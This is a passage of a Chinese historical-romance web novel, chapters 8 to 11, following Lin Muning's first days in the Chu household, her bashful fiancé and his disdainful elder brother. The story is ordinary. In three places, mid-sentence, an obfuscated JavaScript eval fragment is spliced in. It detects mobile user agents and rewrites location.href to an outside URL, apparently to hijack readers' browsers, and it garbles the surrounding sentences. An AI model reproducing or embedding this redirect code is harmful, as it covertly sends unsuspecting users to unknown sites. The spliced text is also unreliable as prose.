她轻咳一声，忍住笑，替儿子解围：“书墨，你刚下学，先去歇歇。林姑娘也刚到，待会要给她小小设宴，你们一道过来用饭。” 褚书墨如蒙大赦，连忙应道：“是，母亲。” 可应完又犯难了，一起用饭，那岂不是还要和林姑娘待在一处？ 他偷眼去瞧林慕凝，正对上她那双亮晶晶的眼睛，吓得赶紧把目光收回来，心跳得更厉害了。 林慕凝被他这副模样逗得心情大好。她在路上走了三个月，什么牛鬼蛇神没见过？可像这样一逗就脸红，一说话就结巴的纯良小书生，还真是头一回遇到。 有趣，太有趣了。 她回身同沈氏说：“夫人，我先去换身衣服，梳洗梳洗，再过来。” 沈氏点头：“好，去吧。” 8. 第八章 林慕凝去到沈氏给她安排的“抱竹轩”，先从里到外转了三遍。外人看来，颇有些没见过世面的样子，可林慕凝完全不把别人的眼光当回事。 低声跟柳莺儿说了好几遍：“这以后就是我的院子了？” “是呢，姑娘，这院子是三进的，房后头还有个后院，可大了。刚那几个姐姐说，老夫人已经发过话，以后这里全听小姐的，您想怎么归置就怎么归置。” “嗯，好好好。”她靠近柳莺儿的耳朵，悄声说，“我就说我不亏吧。” 柳莺儿笑着回话：“小姑娘是个有福之人，我瞧着老夫人也和善得很，日后日子一准舒坦。” “嗯，”林慕凝点点头，告诉柳莺儿，“那二公子我也瞧见了，模样不错，人也厚道，就是爱脸红。一看就心思正，没什么歪心眼。这门亲事，我挺满意的。回头给我爹娘去封信，告诉他们我安置妥了。等明年，接他们来喝我的喜酒。” 柳莺儿也替她高兴，她在这世间再无亲人，现在林慕凝就是她最亲的人。 林慕凝简单清洗，换上女装后，绕到了屋后。这后院果然很大，只是只有孤零零的几棵小树，有些浪费。她望着隔壁那院子葱葱郁郁的样子，问一个叫春桃的丫鬟。 “隔壁住的是谁啊？” 春桃答道：“回林姑娘，那是咱们大公子的住处。” 林慕凝愣了一下，低声道：“竟然就住在隔壁。” 春桃顺着她的目光望过去，笑道：“是呢，大公子的院子与姑娘这院只隔了一道墙。中间那道小门原是通着的，后来大公子说清净，便封上了。不过若姑娘有事，从前面绕过去也近得很，走几步就到了。二公子住在西侧院，眼瞅着要科考了，老夫人的意思是让二公子安心读书。” 林慕凝点了点头，没再多问。 沈氏这意思很明显，就是让她在成婚前与褚书墨避着点嫌，免得耽误了他的考试。至于这大公子嘛，既然连见都不愿见她，巴巴地找人来顶替婚约，想必对她是避之不及。住得近又如何？怕是碰上了都要绕道走。 她才懒得热脸贴冷屁股呢。 又逛了一圈，林慕凝便回屋了。躺在柔软的大床上，竟还有些困了。她吩咐丫鬟：“待会饭好了，再叫我，我迷瞪一会儿。” 这边林慕凝歇下了，那边沈氏正与身边的周嬷嬷说话。 “都安置妥当了？” “妥了，林姑娘欢喜得很，里里外外转了好几圈。”周嬷嬷笑道，“那孩子是个爽快人，一点也不扭捏，奴婢瞧着，倒是个好相处的。” 沈氏点点头，又问：“可问起过序宸的事？” 周嬷嬷顿了顿，低声道：“问了隔壁院子是谁在住的。春桃回说，林姑娘知道隔壁是大公子的院子，只点点头，没说什么。” 沈氏嗯了一声，沉吟片刻，缓缓道：“她是个聪明的，嘴上不提，心里未必没有想法。好在书墨懂事，也拿得出手。”想了想，又说，“书墨这孩子，单纯，藏不住事。我看得出来，他很喜欢这林姑娘。说真的，那么灵的一个孩子，谁不喜欢呢，我都喜欢得紧。就是不知道我这样安排，她会不会不高兴。” 周嬷嬷知她心思，轻声道：“老夫人是为了二公子好。他明年要科考，正是要紧的时候。林姑娘住得远些，与大公子那边隔着，二公子便能安心温书。等成了婚，再拉近关系也不迟。” “行了。”沈氏摆摆手，“去安排饭吧，让厨房做的丰盛些。” “是。”周嬷嬷应声退下。 日头西斜时，褚序宸回来了。 他今日去京郊巡视，奔波一日，身上沾了尘土，眉宇间也有些倦意。进门后先往前院书房去，预备换身衣裳再去给母亲请安。 刚走到二门，便见李管家迎上来，笑道：“大公子回来了。” 褚序宸点点头，随口问：“母亲今日可好？” “好着呢。”李管家笑道，“今儿个府里来了贵客，老夫人高兴得很，精神头比往日都好。” 褚序宸脚步一顿：“贵客？” “是林姑娘到了。”李管家眼里带着笑意，“老夫人亲自见的，娘儿俩聊了一下午，可投缘了。二公子下学回来也见着了，陪着说了好一会儿话呢。” 褚序宸眉头微不可察地动了动。 早些时候，先回了趟顺天府，听同僚说一大早就有个俊俏的亲戚寻他，自称是他表弟，只知道他在顺天府任职，忘了家门。他还纳闷，哪里来的俊俏表弟？ 恐怕就是这位林姑娘去试探的吧。 他面上不动声色，只淡淡道：“知道了。我待会去给母亲请安。” 申时末，周嬷嬷亲自来请，说饭菜备好了，让林姑娘过去呢。 林慕凝小睡一会儿，起身后又换了一身新衣裳。柳莺儿帮她重新梳了头，挽了个简单的髻，簪上一根银钗。 “姑娘这样打扮，比那画上的仙女还好看。” 林慕凝对着镜子照了照，满意地点点头：“走吧，别让老夫人等久了。” 萱草堂里，沈氏坐在待客堂，褚书墨陪坐在一旁。见林慕凝进来，两人都抬起头来。 褚书墨只看了一眼，便慌忙垂下眼去。方才见的还是男装打扮，如今换了女装，竟又是另一番模样。他悄悄攥紧了袖口，觉得手心有些发汗。 林慕凝倒是大大方方，先给沈氏行了礼，又朝褚书墨点了点头：“二公子好。” 沈氏笑着招手：“快过来坐，等你兄长呢。他今日也回来了，方才派人来说换身衣裳就过来。等他到了，咱们就开席。” 林慕凝微微一怔，随即笑着应了，在沈氏身侧坐下。 那位褚大公子也回来了？倒要见见是何许大人物，竟这般看不上她。 她面上没动声色，回着沈氏的问话：“给你安排的院子可满意？” “我很喜欢，谢谢老夫人。” “满意就好，要是缺什么了，你尽管去跟周嬷嬷提，也可以让人在院子里开个小灶，若是吃不惯京城的饭菜，就让厨子按照你的口味做。咱们家向来没那么多规矩。” 沈氏怕冷场，向褚书墨提到林慕凝路上救下她那个丫鬟的事。 林慕凝就把自己假装得病，骗过那歹人的事又绘声绘色讲了一遍，褚书墨坐在一旁，低着头听，耳朵却悄悄竖着。听到有趣处，嘴角忍不住微微翘起。 林慕凝瞥见他那副模样，故意问他：“二公子，你说那歹人是不是傻？我随便编个瞎话，他就信了。” 褚书墨猝不及防被点到名，愣了一愣，才结结巴巴道：“是、是挺傻的。” 林慕凝噗嗤一声笑了出来。 沈氏也笑，看着两人，眼里满是欣慰。正说得热闹，院子里忽然传来脚步声。 周嬷嬷打起帘子，通传道：“老夫人，大公子来了。” 屋里顿时安静了一瞬。林慕凝端着茶盏的手顿了顿，抬眸朝门口望去。 来人穿着藏青色常服，身量高挑，面容俊朗，周身气势凛然，不怒自威。他进门先扫了她一眼，目光冷淡，一晃而过。 林慕凝心中一凛，别过脸去。模样倒是不错，就是那张脸冷得像块冰，看人的眼神也让人不舒服，不如二公子温顺。 沈氏笑着招手：“序宸回来了？来，见见林家姑娘，也是你未来的二弟妹。” 林慕凝起身朝褚序宸行了个礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309716|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“见过大公子。” 褚序宸微微点头，算是回礼，却没回话，转而对沈氏说：“母亲今日可好？” “好，好啊，今日慕凝到了，我开心得很，赶紧上桌开席吧，肚子早饿了。” 丫鬟们鱼贯而入，布菜斟酒，席间渐渐热闹起来。沈氏招呼林慕凝： “来，慕凝，挨着我坐。” 林慕凝依言坐在沈氏的右手位，褚序宸坐在左手位，褚书墨坐在他旁边，桌子不算大。这样看，林慕凝就和褚书墨挨着坐了。 褚书墨能闻到林慕凝身上淡淡的香气，手都不知道要放在哪里了，头也不敢抬，只觉得耳根子发热。 沈氏让丫鬟斟了酒，举起酒杯说道：“慕凝今日平安到达，我很是欢喜。我与她极是投缘，竟有相见恨晚之感，以后慕凝就是咱们家的一份子，你们兄弟二人定要好生待她，来，干了这杯酒，欢迎慕凝。” 林慕凝酒量不错，很爽快地就干了杯中酒。褚书墨没怎么饮过酒，喝了一口，就咳嗽了起来。 褚序宸饮了三分之一，他这人向来克制，从不为任何人饮光杯中酒。嘴里说着：“母亲莫要贪杯，注意身子。二弟还小，差不多就得了。” 沈氏看了眼大儿子，觉得他很是扫兴。说道：“慕凝，我们不管他，他那人无趣的很。”说完便拉着林慕凝推杯换盏。 褚书墨虽不敢抬头，嘴角却悄悄翘着。 褚序宸坐在一旁，一言不发地吃着菜，偶尔抬眼，目光淡淡地扫过对面那张笑脸。 他想起方才进门时看见的那一幕：母亲笑得合不拢嘴，书墨那孩子低着头却藏不住笑意，而她，坐在中间，眉飞色舞地说着什么，像只欢快的雀儿。 倒是比画上那人好看不少，只是性子也太活泛了。一个初来乍到的姑娘家，坐没个坐相，站没个站相，大声喧哗，这般说说笑笑，毫无拘谨之态。 现在也是，头一次和他们吃饭，就贪杯。这般的做派，哪里像个未出阁的闺秀？ 还有今日去顺天府寻他的人，若真是她，这姑娘未免胆子也太大了。他垂下眼，掩去眸中的不以为然。 一顿饭吃到掌灯时分，方才散了。 林慕凝起身告辞，沈氏拉着她的手，叮嘱她明日再来陪她说话。褚书墨站在一旁，想说什么，又不敢开口，只拿眼偷偷看她。 林慕凝朝他挥挥手：“二公子，改日再聊。” 褚书墨耳根一红，低低应了一声：“好。” 褚序宸站在沈氏身后，将这一幕看在眼里，眉头微微皱了皱。 待林慕凝走远，褚书墨回自己院子温书，沈氏转身往里走，褚序宸跟在她身后。 进了暖阁，沈氏坐在榻上，笑道：“这孩子，真是个妙人。我多少年没这么高兴过了。” 褚序宸在她下首坐下，没有接话。 沈氏看了他一眼：“怎么，你还不高兴？” 褚序宸沉默片刻，开口道：“母亲，那位林姑娘……” “嗯？” “儿子斗胆问一句，”他抬眼看沈氏，语气平平的，“母亲觉得，她今日这般作态，可妥当？” 沈氏一愣：“什么作态？” 褚序宸道：“头一日进府，便与书墨说说笑笑，毫无避讳。书墨腼腆，被她牵着鼻子走，连句完整话都说不出来。”他顿了顿，眉心微蹙：“母亲常说书墨要安心备考，如今这般，怕是不妥。” 沈氏听完，愣了一愣，随即笑了。 “序宸，”她叹了口气，“你这话说的，倒像是人家姑娘做了什么见不得人的事似的。” 褚序宸眉头皱得更紧：“儿子不是那个意思。只是...” 9. 第九章 下午睡了一小觉，晚上就来了精神，林慕凝怎么也睡不着了。 她是个闲不住的性子，在床上翻来翻去半天，披衣起身，决定去院子里逛逛。又怕吵到那几个丫鬟，便去了后院。 这里没夜灯，隔壁却亮的很。后院围墙矮，隔壁院子的灯光无遮无拦地照了过来，方便了夜行的她。 其实没灯她也不怕，往日在老家也没有这么亮的灯。那时候夏日里去田间捉蝉，网萤火虫，都是靠着月光的。 她抬眼往隔壁瞧了一眼，这个时辰了，窗户上透过来的人影还在看书。 林慕凝不禁感叹：难怪年少有为，这么用功啊。她若不是白天睡了一觉，现在早就做上春秋大梦了。这样的人跟自己确实是一个天一个地。 她一瞬间想到了褚书墨，不知他现在是不是也在温书。 一边想着，一边沿着后院墙转悠。她在用脚丈量尺度，打量着这么大的院子到底该怎样利用起来。 这一块架一个葡萄架，那一片建个黄瓜架，再种些青菜，以后建起了小灶，就吃自己种的菜。 还有一块嘛，要搭个秋千。还要种几棵参天大树。夏天就可以在自家后院追蝉。 林慕凝越想越开心，不自觉咯咯咯地笑了起来，紧接着又哼起了乡曲。 夜晚宁谧，这声音就传到了隔壁看文书的褚序宸耳朵里。 他知道那里住的是谁。这个时辰不睡觉，出来扰人清净这种事，料想那个没规矩的乡野女子也做得出来。 他本想两耳不听窗外事，安心做自己的事。可那声音实在聒噪得不行，干脆推门走了出去，隔着院墙想提醒那女子一声。 没成想，他刚出去，走到两个院子相邻的矮墙处，那声音却停了。 他个子高，隔着矮墙就能看到对面。见那女子蹲在地上，不知在做些什么。正预备瞧个清楚的时候，女子忽然回头，他忙蹲下，脚下没站稳，歪倒在了地上。 林慕凝回头听见了一声响，却没见人。只当是野猫，继续看被她发现的那株野花。 “没想到这一片无人管理的荒地上，竟长出了你。以后你就不孤单了，我在你周围种满花，让它们都陪着你。” 逛了这半天，林慕凝终于有了困意，她拍拍手起身，哼着曲儿回去睡觉。 矮墙的另一边，下人听到动静，忙跑来看，就见褚序宸坐在地上，正双手握拳捶地，一副很愤怒的样子。 “大公子，您这是怎么了？伤着没有啊？” “不用管我，都下去。” “大公子？” 他压低声音：“我说了，不用管！”下人赶紧退下。 他立刻起身，略微整理下衣服，就甩袖回了房间。文书也看不下去了，吹了蜡烛，躺在床上，生闷气。气自己，闲得慌吗？去看她作甚！又气那女子，大半夜不睡觉，搞出这么大动静，害他出丑！ 他还有些气母亲。以前怎么没发现，母亲竟然也有这般不守成规的一面。一个乡野来的丫头，这么快就将她笼络住了。 这一晚，褚序宸脑子乱糟糟的，只觉得原本安静的隔壁院子住了个自己看不上的欢脱女子，怎么想怎么不自在。 所以，他失眠了。好在第二日他休沐。 翻来覆去到了卯时，他深吸几口气，仍旧按照惯例起身，去院子里练功。这些年，他对自己要求严苛，无论前一日睡得多晚，隔日都是卯时起床练功。 打了一套拳，微微出了些汗，那股子烦闷才消减了些。 * 抱竹轩内 林慕凝睡得正香，梦里正蹲在田间捉蚂蚱，忽然被人轻轻推醒。 “姑娘，姑娘，该起了。” 她迷迷糊糊睁开眼，就见柳莺儿那张脸凑在跟前，急道：“今儿个头一天，得去给老夫人请安呢。” 林慕凝一个激灵坐起来，揉了揉眼睛，往外一瞧，天光已经大亮了。 “什么时辰了？” “卯时三刻了。”柳莺儿一边说，一边麻利地伺候她穿衣，“姑娘昨儿个自己偷跑出去了吧？我醒来都没见您在屋里头，我去寻了一圈都没寻到。这不是客栈，可不是您自家，姑娘要规矩些呢。” 林慕凝嗯声应着，赶紧下床，手忙脚乱地洗漱。 刚把脸擦干，还没来得及梳头，门外便传来一阵脚步声。帘子一挑，周嬷嬷笑吟吟地走了进来，身后跟着两个小丫鬟，手里拎着食盒。 “林姑娘醒了？”周嬷嬷笑道，“老夫人说了，姑娘昨日赶路辛苦，今早不必过去请安了，好生歇着便是。这是厨房刚做好的早膳，姑娘趁热用些。” 林慕凝一愣，随即笑道：“多谢老夫人体恤，也劳烦嬷嬷跑一趟。” 周嬷嬷让丫鬟把食盒摆上桌，又叮嘱了几句“缺什么尽管吩咐”之类的话，便退了出去。 柳莺儿松了口气，拍着胸口道：“吓死我了，还以为要挨训呢。老夫人真是个好人。” 林慕凝点点头，心里也对沈氏多了几分好感。这位未来婆母，确实和善。 可这觉是睡不成了。 她看了眼桌上摆得满满当当的早膳。四碟小菜，两盘点心，一碗鸡丝粥，热气腾腾的，看着就香。可她才起来，没什么胃口，只随意吃了几口，便放下了筷子。 在屋里坐了一会儿，浑身不自在。 她是个闲不住的性子，在老家时，天不亮就起来帮娘干活，喂鸡、扫地、劈柴，哪样没干过？如今让她干坐着，比蹲大牢还难受。 “莺儿，我出去走走。” 柳莺儿一愣：“姑娘，这是又要去哪儿？昨晚上睡得那么晚，要不再多歇会？” “歇什么，我又不是七老八十。”林慕凝说着，抬脚就往外走。到了院子里，她深吸一口气，伸了个大大的懒腰。 这院子确实不错，虽不如沈氏那边雅致，却也宽敞亮堂。就是太空了，没什么人气儿。她四处转了转，忽然想起昨夜里丈量的那块后院。当时虽有隔壁灯光照着，但终究看得不真切，如今正好仔细瞧瞧。 绕到后院，眼前豁然开朗。她做了几下伸展运动，便围着后院开始小跑起来。 一圈，两圈，三圈…… 跑得浑身发热，出了一层薄汗，这才停下来，叉着腰喘气。 “痛快！” 隔壁院子里，褚序宸刚刚用完早饭，擦了嘴，拿出一本书来读。一页没读完，就听到了动静。他皱了皱眉，强忍着没理会。 可不时传来了喊声：“嘿哈，嘿哈。”中气十足。 他深吸一口气，放下书，走到窗边往外看。隔着矮墙，就见一个身影正绕着后院跑得欢。跑得头发都散了，披在肩上，一甩一甩的。 他眉头皱得更紧了。这成何体统？ 一个大姑娘家，大清早的，在院子里跑来跑去，头发也不好好梳，像个什么样子？ 他本想出声制止，话到嘴边又咽了回去。算了，懒得管。 他转身回到书案前，重新拿起书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309717|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可这“咚咚咚”的跑步声却总是传到耳边，他闭上眼，深吸一口气，再深吸一口气，终于忍无可忍，一把将书拍在桌上。 林慕凝跑够了，停下来喘气。扶着膝盖，抬头看天，忽然想起一件事。 昨夜里她在这后院逛的时候，听见隔壁那边“咚”的一声响，像是什么东西摔了。当时她还以为是野猫，没在意。如今想起来，这宅子里，有猫吗？ 正好春桃来寻她，她问起： “春桃。咱们这院里，养猫了吗？” 春桃一愣：“猫？没有啊。姑娘想养猫？” “不是。”林慕凝摆摆手，“我就是问问。昨夜里我在后院，听见隔壁那边‘咚’的一声响，像是有什么东西摔了。还以为是猫呢。” 春桃朝隔壁看了一眼，也纳闷：“大公子喜静，不喜欢养这些小动物。” 林慕凝略一思索：“没有猫的话，那就是老鼠了？这宅子里不会有老鼠吧？” 春桃一惊：“没有吧，从未听说过。姑娘别吓人啊，我最怕老鼠了。” 林慕凝提醒她：“还是细细检查一番的好，这宅子里好东西多，别都让老鼠偷吃了去。” 隔壁院子里，褚序宸的脸都绿了。林慕凝声音不小，这话全都传进了他耳朵里。他堂堂顺天府府尹，被人当成猫也就罢了，竟还被当成老鼠？ 下人们远远站着，大气都不敢出。 大家伙都知道昨夜摔倒闹出动静的是大公子，现在未来的二夫人竟说大公子是老鼠，他们沉着冷静的大公子何曾吃过这种憋？ 如今再看大公子那脸色，想笑又不敢笑，憋得十分辛苦。 褚序宸冷冷扫了他们一眼。众人立刻低下头，咬着牙忍着。 “都没事干是吧？行啊，都去廊下站着，不到天黑谁都不许动！” 众人欲哭无泪，后悔招惹了这无情的大公子。 看来书是读不下去了，这家里也没法再待了。褚序宸换了外衣，叫上一个贴身奴仆。 “来喜，跟我去国子监转转。” “是，公子。” 林慕凝全然不知隔壁发生了什么。 她换了身干净衣裳，让柳莺儿帮她重新梳了头，又吃了两块点心，心情好得很。 “莺儿，咱们出去逛逛吧。” 柳莺儿笑道：“姑娘真是闲不住。昨儿咱们不是逛过了吗？” “昨儿个是昨儿个，今儿个是今儿个。”林慕凝理直气壮，“京城那么大，一天哪逛得完？” 柳莺儿拿她没办法，只好应了。林慕凝望着外面明晃晃的日头，想起昨夜里那株野花来。 “咱们去买些种子回来，我要将后院的地翻一翻。反正老夫人说这里全凭我做主，我要给自己找些事情做。对了，再买些京城时兴的好玩意。” “好，都听姑娘的。” 主仆二人说说笑笑，沿着抄手游廊往外走。刚绕过一道月洞门，迎面便撞见一个人。 褚序宸。 他穿着一身深色常服，身姿挺拔，面容清冷，正不疾不徐地往这边走来。看样子也是要出门。 林慕凝脚步顿住，随即弯起嘴角，主动打了个招呼：“大公子早啊。” 褚序宸脚步未停，目光从她脸上掠过，毫无波澜。他没有点头，没有应声，甚至连脚步都没慢下半分，径直从她身侧走了过去，衣袂带起一阵风。 柳莺儿愣住了。 林慕凝也愣住了。 “我得罪他了吗？” 10. 第十章 柳莺儿也摸不着头脑，茫然摇头。林慕凝抓住跟出来的春桃问：“你家大公子吃错药了吗？” 春桃没瞧见刚才那一幕，说：“大公子身子一向康健得很，极少生病。姑娘为何这样问？” “算了，我不用你跟着，昨晚上睡觉前我画了一张规划图，在里屋放着呢。你将后院按照我的图分出几块区域来。” 林慕凝嘱咐春桃，“别自己一人干，把那几个小丫头都叫上。动作麻利些，我回来还要查验呢。” 说完，拉上柳莺儿就走，留下春桃风中凌乱。 “姑娘，我不是干农活的粗使丫头啊。” 主仆二人刚走到前院，便见沈氏正站在垂花门下与褚序宸说话，看模样也是要出门。 林慕凝忙上前行礼：“老夫人这是要去哪儿？” 沈氏笑盈盈道：“前几日接了帖子，约了几位夫人去郊外赏花。我以为你还睡着，就没叫你。你若想去，跟我一道也成。” 林慕凝连连摆手：“不了不了，我正想去街上逛逛呢。老夫人的场合我就不凑热闹了，改日再陪您。” 沈氏看了眼站在一旁的褚序宸，心思一转，说道：“让序宸带你去逛吧，他今日休沐，正无所事事呢。你在这人生地不熟的，别再走丢了。” 褚序宸脸色微微一僵。 “母亲，我要去国子监，那里的老师问了我好几次，让我得空的时候去指点指点。” “行啦。”沈氏嗔他一眼，“显着你了？你不也是那些先生教出来的？书墨忙着备考，抽不出空，你这个做兄长的闲着，怎么就不能照应一二？” 不等褚序宸再开口，沈氏已朝周嬷嬷使了个眼色。周嬷嬷心领神会，从包袱里取出一锭银子，递给林慕凝。 沈氏拍拍她的手：“这些你先花着，不够就跟你兄长要。他的俸禄每月没全交上来，手头宽裕着呢。” 褚序宸张了张嘴，想说什么，沈氏已摆摆手，带着周嬷嬷出门去了。 林慕凝掂了掂手里的银子，抬眸看向褚序宸，弯起嘴角：“那就有劳兄长了。” 褚序宸沉着脸：“你独自在路上耽搁了三个月，也没见丢了。京城安全多了，你能丢到哪儿去？” 林慕凝心里恍然，原来方才在院门口，是因为没叫“兄长”才不理人的。 她也不恼，换上一副明媚笑脸：“兄长说得是。我本也没想麻烦兄长，只是老夫人发话，我不敢不听呀。” 那笑容太过灿烂，在晨光里熠熠生辉。褚序宸愣了一瞬，脑海里只浮出两个字： 谄媚。 * 马车很宽敞，林慕凝和褚序宸坐下后，两人之间还隔着几尺远。 褚序宸自从上了马车就闭目养神，摆明了不想看她，也不想说话。 马车穿过几条街巷，外面的喧哗声渐渐大了起来。 林慕凝掀着车帘，半个身子都快探出去了。柳莺儿在一旁急得直扯她衣角，小声提醒：“姑娘，注意仪态。” “怕什么？”林慕凝头也不回，“又不是没见过人。” 褚序宸闭着眼，眼睫却微微动了动。 他虽不想看她，可那叽叽喳喳的声音却一刻不停地往耳朵里钻。 “莺儿你快看，那边好多人！像是有集会呢。” “那个摊子上卖的是什么？花花绿绿的真好看！” “哎呀，还有耍猴的嘿。” 柳莺儿死死拽着她，欲哭无泪：“姑娘，您别往外探了，当心摔着。” 林慕凝这才缩回来一点，可眼睛还是黏在外头。 马车拐进一条更宽的街，人群越发密集了。林慕凝一眼扫过去，忽然看见个眼熟的人，是前日在顺天府门口帮他指路的那位小官，正站在路边跟人说话。 她立刻探出身子，挥着手喊：“刘大人！刘大人！” 那位刘大人闻声回头，看见马车窗口那张笑盈盈的脸，愣了一愣，随即拱手笑道：“是公子啊！哦不对，如今该叫姑娘了。” 林慕凝哈哈一笑：“叫什么都可以！刘大人这是去哪儿？” “去衙门口，今儿个轮值。”刘大人也笑，“姑娘可寻到你表哥褚大人家了？” 话音刚落，一阵风掀开车帘，露出里头端坐的褚序宸。 刘大人脸色一变，连忙躬身行礼：“不知褚大人在此，下官失礼了。” 褚序宸扬了下手，示意知道了。他不想多说话，此情此景容易让人误会，只想赶紧离去。 林慕凝回头看了一眼褚序宸，那人脸色更难看了。凝着眉，像是旁人欠了他八百两银子似的。 她腹诽：白白生了张俊俏的脸，性子却这般不讨喜。想来也没什么朋友。 正想着，那人的目光倏地扫过来，锐利如刀。 林慕凝撇撇嘴，若无其事地转回头，继续看她的热闹。 * 马车又走了一段，她眼尖，又看见个熟人。 这回是个卖糖人的老头，昨儿个她在街上买过他的糖人，老头手艺好，人也和气，两人聊了好一会儿。 “张伯！张伯！”她又探出身子挥手。 那老头抬头一看，也笑了：“是姑娘你啊！今儿个还来买糖人不？” “今儿个不买，我有事呢！改日再来照顾您生意！” “好嘞，姑娘慢走！” 马车在人群里缓慢前行，走走停停。 林慕凝就没消停过。 一会儿看见个卖风筝的，是她老家那边的扎法，她隔着车窗跟人家讨论了半天扎风筝的诀窍。 一会儿看见个耍把式的，她拍着车厢叫好，恨不得下去捧个钱场。 一会儿又遇见昨儿个在茶馆认识的一个大姐，两人隔着人群喊话，约好了改日一起喝茶。 柳莺儿从一开始的紧张，到后来的麻木，偶尔偷看褚序宸的脸色，见他一直面无表情，只当他本就如此。便也能面不改色地听着自家姑娘跟各路人士寒暄了。 褚序宸心里憋着火，不好发作。 在他眼里，此女子太过轻浮。 她将来是要嫁到褚家的，书墨考了功名，得了官身，她就是官夫人。那些卖糖人的、耍把式的、卖风筝的，是什么身份？也值得她这般热情？ 她倒是谁都认识，谁都能聊。 可这般长袖善舞、八面玲珑的做派，不正说明她心思活泛、不够安分么？ 这样的女子怎么会把母亲哄得团团转。母亲还同他说：“这女子比你想象的要好。” 好在哪？好在跟谁都能打成一片？好在没规没矩、毫无大家闺秀的矜持？ 他冷眼看着她那张笑脸，心里下了定论：除了几分长相，一无是处。 他忍无可忍，沉声道：“停车！” 车夫猛地勒住缰绳，马车骤停。 林慕凝正扒着车窗往外看，猝不及防失了重心，“咣”的一声，脑袋直直朝窗棱撞去。 她反应极快，猛地往后一缩。 可这一缩，忘了身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309718|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还坐着个人。半边身子直直朝褚序宸倒了过去。 褚序宸下意识抬手，指尖刚触到她的衣料，便像被烫着似的，猛地将她推开。 力道不小。林慕凝一个踉跄，歪倒在车厢里。 “哎哟。” 林慕凝半歪在车厢里，手肘撑着车板，愣了一瞬。 她抬头看向褚序宸。 那人正襟危坐，面色如常，仿佛刚才只是拂开了一只扑到身上的飞虫。甚至连眼神都没多给她一个。 林慕凝心里那股火，“噌”地一下就窜了上来。 好哇，把我推倒了，连句道歉都没有？连扶都不扶一把？她咬着后槽牙，默默在心里把这位褚大公子从头到脚骂了个遍。 冷面瘫，没风度。难怪一把年纪还娶不上媳妇，活该！ 不对，他本来是有媳妇的，是他自己不要，塞给别人了。 想到这里，林慕凝更气了。 嫌我？我还嫌你呢！ 这一套动作极快，柳莺儿都不知道林慕凝是怎么摔倒的，急得去扶起她，四处查看她有没有伤着。 柳莺儿担心地问：“可是哪里疼吗？” 林慕凝摔着的地方倒是不疼，只觉得被褚序宸推过的地方火辣辣的。 她说了句“无事”，便把脸转向车外。 外头跟着褚序宸出来的小厮来喜问：“公子，是要在这里下车吗？” 林慕凝不等褚序宸开口，跟柳莺儿说了一个字：“走。” 掀开帘子就跳了下去。脚一沾地，那股憋闷的气总算散了些。她深吸一口气，抬头望去，好家伙！ 眼前是一条长长的街，两边摆满了各色摊子，一眼望不到头。卖吃的、卖玩的、卖布的、卖脂粉的，应有尽有。人群熙熙攘攘，吆喝声、讨价还价声、笑闹声混成一片，热闹得不像话。 林慕凝的眼睛一下子就亮了。 “莺儿，快来！”她回头喊了一声，抬脚就往人群里钻。 褚序宸从马车上下来，看着那道欢快的背影，眉头皱了皱。想起母亲的吩咐，只好抬脚跟了上去。 林慕凝这人气性来的快，也去得快，眼下有更吸引她的，刚才的那点事早就抛之脑后了。 她蹲在一个卖绢花的摊子前，手里拿着一朵粉色的绒花，爱不释手。 “姑娘好眼光，这是新来的样式，京城独一份！”摊主是个四十来岁的妇人，嘴皮子利索得很。 “多少钱？” “十五文。” 林慕凝想了想，从荷包里数出十五文递过去，把绒花往鬓角比了比，回头问柳莺儿：“好看吗？” 柳莺儿用力点头：“好看！姑娘戴什么都好看。” 林慕凝美滋滋地让摊主帮她簪上，又蹲下来继续挑。 “这个蓝色的也好看，这个鹅黄的也不错，哎呀，这个红色的也想要。” 摊主笑得合不拢嘴。 最后林慕凝买了六朵。自己一朵，柳莺儿一朵，给春桃带一朵，剩下那三个分给另外三个丫头。 又想到了沈氏，要不要给她也带一朵回去？可转念一想，她怕是会觉得这东西不够贵重。 算了，改日选些好的再给她买。 她将那朵鹅黄的递给柳莺儿：“这是你的。” 柳莺儿受宠若惊：“我也有？” “当然有。”林慕凝把绢花往她手里一塞，“跟着我混，有肉吃，有花戴。” 柳莺儿捧着那朵花，眼眶都有点红了。 11. 第十一章 接下来，林慕凝彻底开启了扫街模式。 卖糖葫芦的，来两串。一串自己吃，一串给柳莺儿。 卖泥人的，来一个。捏的是个圆脸胖娃娃，她拿在手里端详半天，活像自己在家乡的好友曲惠芳。 “带回去，回头送给阿芳。” 卖香囊的摊子前，她挨个闻了个遍，这个说太冲，那个说太淡，最后挑了三个，还跟摊主讨价还价了半天，省下两文钱，美得跟捡了宝似的。 